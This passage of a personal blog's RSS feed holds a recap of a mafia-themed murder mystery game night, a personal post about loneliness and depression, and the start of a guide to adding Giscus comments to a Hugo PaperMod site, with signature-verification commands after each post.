teMPcOiYIeFEN2NeewReyp&#43;0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
nh&#43;i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO&#43;hH2G87yPvf0B6cM6w
qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
bfSn&#43;ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
mLN7Fslis&#43;dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A&#43;A4J6
iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
ic2kF0bGJCaI/0Sen&#43;lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
=R0VX
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
gpg --verify e2ee.md.asc e2ee.md
  </pre>
</div>


]]></content:encoded></item><item><title>La Plaza: The Falcones &amp; the Morettis</title><link>https://blog.alipour.eu/posts/murder_mystery_night/</link><pubDate>Sat, 25 Oct 2025 07:52:53 +0000</pubDate><guid>https://blog.alipour.eu/posts/murder_mystery_night/</guid><description>Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.</description><content:encoded><![CDATA[<p>Last night I attended a ZiS event called &ldquo;the Murder Mystery night&rdquo;.</p>
<p>The story was about two families. The Falcones, and the Moretti family.</p>
<blockquote>
<p>Gold-embossed invitations arrive at <strong>La Plaza</strong> for a celebration of life honoring <strong>Salvatore Falcone</strong>, recently slain Don. All members of the Moretti family are invited to the party!</p></blockquote>
<h2 id="family-trees">Family Trees</h2>

  <script src="/js/mermaid.min.js" defer></script>
  <script src="/js/init-mermaid-umd.js" defer></script>
  


<div class="mermaid">
%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%%
flowchart TB
subgraph falcone["Falcone — current generation"]
direction TB
Salvatore["Salvatore Falcone<br/>dead boss"]
Serena["Serena<br/>widow (bosswife)"]
Salvatore -- Married --> Serena
%% row: siblings
subgraph falcone_row1[ ]
direction LR
  Sophia["Sophia<br/>underboss"]
  Massimo["Massimo<br/>lawyer"]
  Fabiola["Fabiola<br/>financial<br/>advisor"]
  Aurora["Aurora<br/>associate"]
end

%% row: next generation
subgraph falcone_row2[ ]
direction LR
  Lorenzo["Lorenzo<br/>fixer<br/>(Sophia's son)"]
  Michelangelo["Michelangelo<br/>enforcer<br/>(Massimo's son)"]
  Antonio["Antonio<br/>hitman"]
end

Sophia --> Lorenzo
Massimo --> Michelangelo
Fabiola -- Married --> Antonio
end
</div>




<div class="mermaid">
%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%%
flowchart TB
subgraph moretti["Moretti family"]
direction TB
Benito["Benito<br/>boss"]
Nicoletta["Nicoletta<br/>bosswife"]
Claudia["Claudia<br/>ex wife"]
Benito -- Married --> Nicoletta
Benito -- Divorced --> Claudia

%% row: children
subgraph moretti_row1[ ]
direction LR
  Sergio["Sergio<br/>underboss"]
  Lucia["Lucia<br/>associate"]
end
Benito -->|son| Sergio
Nicoletta -->|son| Sergio
Benito -->|daughter| Lucia
Claudia -->|daughter| Lucia

%% row: Lucia's crew
subgraph moretti_row2[ ]
direction LR
  Violetta["Violetta<br/>fixer"]
  Santo["Santo<br/>enforcer"]
end
Lucia --> Violetta
Lucia --> Santo
end

Enrico["Enrico<br/>finantial advisor"]
Benito ---|younger brother| Enrico
</div>


<hr>
<h2 id="whos-who-quick-dossiers">Who’s Who (quick dossiers)</h2>
<h3 id="falcone-notes">Falcone notes</h3>
<ul>
<li><strong>Salvatore Falcone (†)</strong> — Former Don, killed under mysterious circumstances.</li>
<li><strong>Serena</strong> — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.</li>
<li><strong>Sophia</strong> — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.</li>
<li><strong>Massimo</strong> — Younger brother; justice-minded, hardened by his wife’s death.</li>
<li><strong>Aurora</strong> — Youngest; underestimated as naive or harmless, but observant.</li>
<li><strong>Fabiola</strong> — Ambitious financial brain; growth-focused, clashes with tradition.</li>
<li><strong>Antonio</strong> — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.</li>
<li><strong>Michelangelo</strong> — Massimo’s son; enforcer torn by guilt over his mother’s murder.</li>
<li><strong>Lorenzo</strong> — Sophia’s son; quiet fixer who tidies messes, unflappable.</li>
</ul>
<h3 id="moretti-notes">Moretti notes</h3>
<ul>
<li><strong>Benito</strong> — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.</li>
<li><strong>Nicoletta</strong> — Benito’s wife; once a prostitute, now regal and cunning.</li>
<li><strong>Sergio</strong> — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the <strong>game</strong>.</li>
<li><strong>Enrico</strong> — Benito’s younger brother; accountant; clever, restless for influence.</li>
<li><strong>Violetta</strong> — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.</li>
<li><strong>Claudia</strong> — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.</li>
<li><strong>Lucia</strong> — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.</li>
<li><strong>Santo</strong> — Lucia’s son; bold, admired and doubted in equal measure.</li>
</ul>
<p>Aside from these characters, there were two additional characters.
Falcon&rsquo;s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!</p>
<blockquote>
<p>World sketch: the <strong>Falcones</strong> make problems <em>disappear</em> and launder fortunes behind bright lights and polished floors; the <strong>Morettis</strong> flaunt neon glamour while doing the real work in shadows.</p></blockquote>
<hr>
<p>After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded.
All I knew was that on the night of the murder, I was not in Falcon&rsquo;s house, and that I was out in a casino with Aurora.</p>
<p>I didn&rsquo;t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO</p>
<p>So, without further of do, let&rsquo;s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD</p>
<h3 id="act-i-the-dinner">Act I, the dinner</h3>
<p>We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life.
Or that&rsquo;s what was written in our invitations.</p>
<p>The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.</p>
<p>The clash was instant as they though we were disrespectful to wear such cloths.
As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.</p>
<p>She said, &ldquo;I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.&rdquo;</p>
<p>The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she!
They said Why would they take it so far to accuse them of accusing us of murder.</p>
<p>Violetta, our family’s ice-cold fixer, replied, &ldquo;it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention&rdquo;.</p>
<p>They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.</p>
<p>While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won&rsquo;t name here out of privacy). Thank you again for such an amazing event!</p>
<h3 id="act-ii-the-invitations">Act II, the invitations</h3>
<p>Sophia looked at us with her death smile and said, &ldquo;I was involved with 9 invitations, the ones to our family, and nothing more.&rdquo;</p>
<p>The room went into a deep silence. What did she mean? Who made Moretti&rsquo;s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti&rsquo;s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?</p>
<p>The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.</p>
<p>Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger&hellip;</p>
<h3 id="act-iii-the-evidence">Act III, the evidence</h3>
<p>Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.</p>
<p>There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore&rsquo;s body from the other side. The third picture was of Salvatore&rsquo;s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.</p>
<p>Massimo got up from his sit, pointing to an article about her wife&rsquo;s death. He stated how this was similar to her death, and how she died &ldquo;The Moretti way&rdquo;. &ldquo;She was shot and pushed down the stairs. What other evidence do you need?&rdquo; said Massimo.</p>
<p>Benito replied calmly, &ldquo;But Salvatore didn&rsquo;t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.&rdquo;.  &ldquo;Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.&rdquo;, said Sergio with a collected tone.</p>
<p>Massimo wasn&rsquo;t convinced, but he knew they were right. He just could not forgive her wife&rsquo;s death.</p>
<p>The room went into silence again.</p>
<p>Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola&rsquo;s accounting showing F&amp;E laundering money for Salvatore. No one knew what F&amp;E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore&rsquo;s level, using the Falcones&rsquo; casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.</p>
<p>In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: &ldquo;Be careful&rdquo;.</p>
<p>Serena pointed to Antonio, and he took out a piece of paper of the family&rsquo;s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti&rsquo;s have with the youngest of the Falcones?</p>
<p>Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio&rsquo;s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones&rsquo; that night, and that he was in a casino with Aurora; no further explanation was provided by him.</p>
<p>Aurora didn&rsquo;t budge either.</p>
<p>Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, &ldquo;Doesn&rsquo;t that look like Santo&rsquo;s gun? Where were you that night, Santos?&rdquo;. &ldquo;I was at home, with my mother&rdquo;, Santos replied, and Lucia nodded.</p>
<p>It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.</p>
<h3 id="act-iv-the-confessions">Act IV, the confessions</h3>
<p>The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard &ldquo;there was another heir to Salvatore&rsquo;s fortune&rdquo;, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.</p>
<p>The prostitute continued, &ldquo;Benito ordered to kill her mistress before the child was born, but he didn&rsquo;t manage&rdquo;. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.</p>
<p>Claudia wasn&rsquo;t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?</p>
<p>The prostitute then continued. &ldquo;Sergio is not Benito&rsquo;s son&rdquo;. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito&rsquo;s son. Benito smiled. &ldquo;Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.&rdquo;</p>
<p>Sergio did not smile, or any changes in his face. He was ice-cold.</p>
<p>It was still not clear who plotted to kill Salvatore. Everyone was confused.</p>
<p>It was time for deduction.</p>
<h3 id="act-v-the-killers">Act V, the killer(s)</h3>
<p>After a long discussion between all the family members, these were the conclusions.</p>
<p>It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti&rsquo;s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.</p>
<p>Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.</p>
<p>If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family&rsquo;s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?</p>
<p>Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like &ldquo;The Moretti&rdquo; way. Then Lorenzo gets to Antonio, and
Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore&rsquo;s money, as with all ties broken, no one would suspect he was Salvatore&rsquo;s son. Nicoletta would also not talk, as she would lose everything if she confessed.</p>
<p>Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn&rsquo;t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti&rsquo;s side.</p>
<p>It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?</p>
<p>Sophia was just disappointed with all of this. She didn&rsquo;t budge.</p>
<h3 id="the-epilogue">The epilogue</h3>
<p>Most people weren&rsquo;t sharing what they knew not to become sus! I didn&rsquo;t talk to everyone, but for example, the person who played Santo&rsquo;s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I&rsquo;m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren&rsquo;t presenting everything they knew.</p>
<p>Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/murder_mystery_night.md">Markdown</a> ·
    <a href="/sources/posts/murder_mystery_night.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm&#43;
bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
zr6zHOniJ1aCSju8WS28cUMjNz&#43;xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN&#43;q2hB6Bu1tndVPH
qIrSt7ykMhhDYz6A6MzXkwIKG&#43;lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
nh4a&#43;E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o&#43;Ymxp
Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
=3iUy
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md
curl -fSLO https://blog.alipour.eu/sources/posts/murder_mystery_night.md.asc
gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
  </pre>
</div>


]]></content:encoded></item><item><title>Sadness</title><link>https://blog.alipour.eu/posts/sadness/</link><pubDate>Fri, 24 Oct 2025 12:48:31 +0000</pubDate><guid>https://blog.alipour.eu/posts/sadness/</guid><description>&lt;p>Honestly, I don&amp;rsquo;t know why I&amp;rsquo;m doing any of this. I really don&amp;rsquo;t.
I think for me this is a scape from reality.
A scape from the sad thing that happened earlier this month.
A scape from feeling used, or let&amp;rsquo;s say abused if you will, and then thrown away.
Just like a piece of trash.
It&amp;rsquo;s been hurting more and more.
I&amp;rsquo;ve been lying to myself that I don&amp;rsquo;t care.
That I&amp;rsquo;ve moved on.&lt;/p></description><content:encoded><![CDATA[<p>Honestly, I don&rsquo;t know why I&rsquo;m doing any of this. I really don&rsquo;t.
I think for me this is a scape from reality.
A scape from the sad thing that happened earlier this month.
A scape from feeling used, or let&rsquo;s say abused if you will, and then thrown away.
Just like a piece of trash.
It&rsquo;s been hurting more and more.
I&rsquo;ve been lying to myself that I don&rsquo;t care.
That I&rsquo;ve moved on.</p>
<p>I&rsquo;ve been seeking validation ever since.
The validation that was lacking during that encounter.
The feeling of not being good enough.</p>
<p>It&rsquo;s enough grieving though.
But is it?
I tell myself I have moved on.
I&rsquo;m not chasing.
I&rsquo;m really not.</p>
<p>I do know that this was indeed the best that could&rsquo;ve happened for me.
I just dodged a bullet.
But still, there is a part of me that hurts, that grieves.
A part that doesn&rsquo;t want to move on.
I told myself that I will meet new people, and forget.
But then aren&rsquo;t I changing the problem?</p>
<p>The problem isn&rsquo;t what is on the surface.
It&rsquo;s something deeper.
The fact that I feel lonely, scared, anxious.
My anxious attachment, combined with overthinking, hurts me.
I have to analyse and see the worse in every encounter.</p>
<p>Like if I tell a group of friends that I won&rsquo;t go with them a few times, I will be removed from the group.
That if everyone is busy, they have planned something together and I&rsquo;m not invited.
That if someone doesn&rsquo;t reply to me, they hate me.
Or that if someone passes me and doesn&rsquo;t look at me or say a word, they don&rsquo;t want to see me, or don&rsquo;t want me around them.</p>
<p>I don&rsquo;t know how to stop these.
I started to do more home office for this very reason, but I wasn&rsquo;t that productive.
I think my time, and life, is going to waste, and I don&rsquo;t know how to stop it.
It&rsquo;s getting annoying.</p>
<p>Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I&rsquo;m far along I feel the extra stress I was neglecting.
Things just don&rsquo;t feel right.
I think I&rsquo;m becoming depressed again.</p>
<p>Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely.
I know if I initiate, I get responses back.
Well, maybe not.
Maybe my expiration date has passed.
But then I would be chasing bread crumbs again.
Those crumbs won&rsquo;t let me find a true good quality loaf of bread!
They keep me distracted, and make me exhausted.
But they also mentally help me.</p>
<p>Maybe I should go for coffee at different times just not to meet this person.
I don&rsquo;t know.
I just know I&rsquo;m hurting from within, and it&rsquo;s not nice.
It&rsquo;s like internal bleeding.
It&rsquo;s as painful as it gets.
It&rsquo;s as hurtful as it gets.</p>
<p>I know getting a pet could help me a lot at this point.
All of the things I want I can get from a pet.
Petting the pet, and caring for it are exactly what makes me feel good.
But then I don&rsquo;t want the responsibility.</p>
<p>Like with a human things feel less stressful, but with a pet it&rsquo;s scary.
I&rsquo;m more of a father to the pet.
Uh&hellip;
I can&rsquo;t even have a pet because of my house rules.</p>
<p>I don&rsquo;t know what to do.
What I know is that I&rsquo;m mentally hurting, and I don&rsquo;t know what to do.
I really don&rsquo;t.
I need help.
A lot of help.
A lot lot of help.
But I can&rsquo;t ask my friends.
I just can&rsquo;t.
They have their own problems.
They think I&rsquo;m weak.
They will tell me to man up.
Or they just show empathy.
But I don&rsquo;t need empathy.
I need a solution.
I need to be told what to do.
I need help.
Help.</p>
<p>&hellip; &mdash; &hellip;</p>
<p>&hellip; &mdash; &hellip; &hellip; &mdash; &hellip; &hellip; &mdash; &hellip;</p>
<p>&hellip; &mdash; &hellip;</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/sadness.md">Markdown</a> ·
    <a href="/sources/posts/sadness.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN&#43;0a9
XkVgKH2Ax8n7h&#43;uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx
rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y
4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y
spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U&#43;VbIflsJG2id&#43;g1W3Z7ch6
sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5
9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY&#43;b&#43;rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch
SD4vGu8SaxWVhWPprrBX6OsC&#43;qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO
K5qILAk8qvmEdDLIFxfYrpOA9qj&#43;aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe
N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6&#43;okpky12
VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk=
=VEwz
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md
curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md.asc
gpg --verify sadness.md.asc sadness.md
  </pre>
</div>


]]></content:encoded></item><item><title>New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)</title><link>https://blog.alipour.eu/posts/comments-rss-papermod/</link><pubDate>Thu, 23 Oct 2025 19:31:12 +0200</pubDate><guid>https://blog.alipour.eu/posts/comments-rss-papermod/</guid><description>A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod.</description><content:encoded><![CDATA[<blockquote>
<p>Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.<br>
Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.</p></blockquote>
<hr>
<p>I&rsquo;ve been wanting to add comment section to my blog for a while.
There are a few problems.</p>
<ul>
<li>I don&rsquo;t want to get attacked by bots or random people for no reason.</li>
<li>I don&rsquo;t want to allow weird things to happen.</li>
<li>I don&rsquo;t want to have a database for it.</li>
</ul>
<p>So&hellip; I decided to take a path which is not necesserially the best.
It requires a third party to act on your behalf, but it is not as scary as it sounds.
According to Github:</p>
<blockquote>
<p><strong>What the app can do</strong>
The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.</p></blockquote>
<blockquote>
<p><strong>What “Act on your behalf” means</strong>
That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.</p></blockquote>
<blockquote>
<p><strong>Do commenters have alternatives?</strong>
Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.</p></blockquote>
<blockquote>
<p><strong>Privacy &amp; storage</strong>
No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.</p></blockquote>
<p>With the notice out of the way let&rsquo;s dive right in!</p>
<hr>
<h2 id="why-i-chose-giscus-instead-of-disqus">Why I chose Giscus (instead of Disqus)</h2>
<ul>
<li><strong>No ads or trackers</strong> (my page weight thanks me).</li>
<li><strong>Uses GitHub Discussions</strong> (portable, transparent, easy to search).</li>
<li><strong>Readers log in with GitHub</strong> (no mystery auth popups).</li>
<li>In theory you can directly go to the repo&rsquo;s discussion section and comment there!</li>
</ul>
<hr>
<h2 id="what-you-need-for-your-site-not-per-user">What you need (for your site, not per user)</h2>
<ul>
<li>A Hugo site using <strong>PaperMod</strong> ✅</li>
<li>A GitHub account ✅</li>
<li>A <strong>public</strong> repository for the discussion threads (I called mine <code>blog-comments</code>) with <strong>Discussions</strong> enabled ✅</li>
<li>Giscus app installed on that repo ✅</li>
</ul>
<p>If you like to keep your main site repo clean, use a separate one, e.g. <code>github-username/blog-comments</code>.</p>
<hr>
<h2 id="1-turn-on-comments-with-giscus">1) Turn on comments with Giscus</h2>
<p>PaperMod renders a <code>comments.html</code> partial when <code>params.comments = true</code>.<br>
So we enable it in config and create the partial.</p>
<h3 id="11-enable-comments-globally">1.1 Enable comments globally</h3>
<p><code>hugo.toml</code> (snippet)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">comments</span> = <span style="color:#66d9ef">true</span>
</span></span></code></pre></div><p>You can still opt out per post with <code>comments = false</code> in front matter.</p>
<h3 id="12-create-the-comments-partial">1.2 Create the comments partial</h3>
<p>Create this file <strong>in your site</strong> (not inside the theme):</p>
<pre tabindex="0"><code>layouts/partials/comments.html
</code></pre><p>Paste the Giscus embed (swap the placeholders with yours from giscus.app):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">section</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;comments&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;giscus&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">script</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://giscus.app/client.js&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-repo</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;yourname/blog-comments&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-repo-id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;YOUR_REPO_ID&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-category</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Comments&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">data-category-id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;YOUR_CATEGORY_ID&#34;</span> <span style="color:#960050;background-color:#1e0010">&lt;!</span><span style="color:#a6e22e">--</span> <span style="color:#a6e22e">Get</span> <span style="color:#a6e22e">them</span> <span style="color:#a6e22e">from</span> <span style="color:#a6e22e">Giscus</span><span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">s</span> <span style="color:#a6e22e">page</span><span style="color:#960050;background-color:#1e0010">!</span> <span style="color:#a6e22e">--</span>&gt;
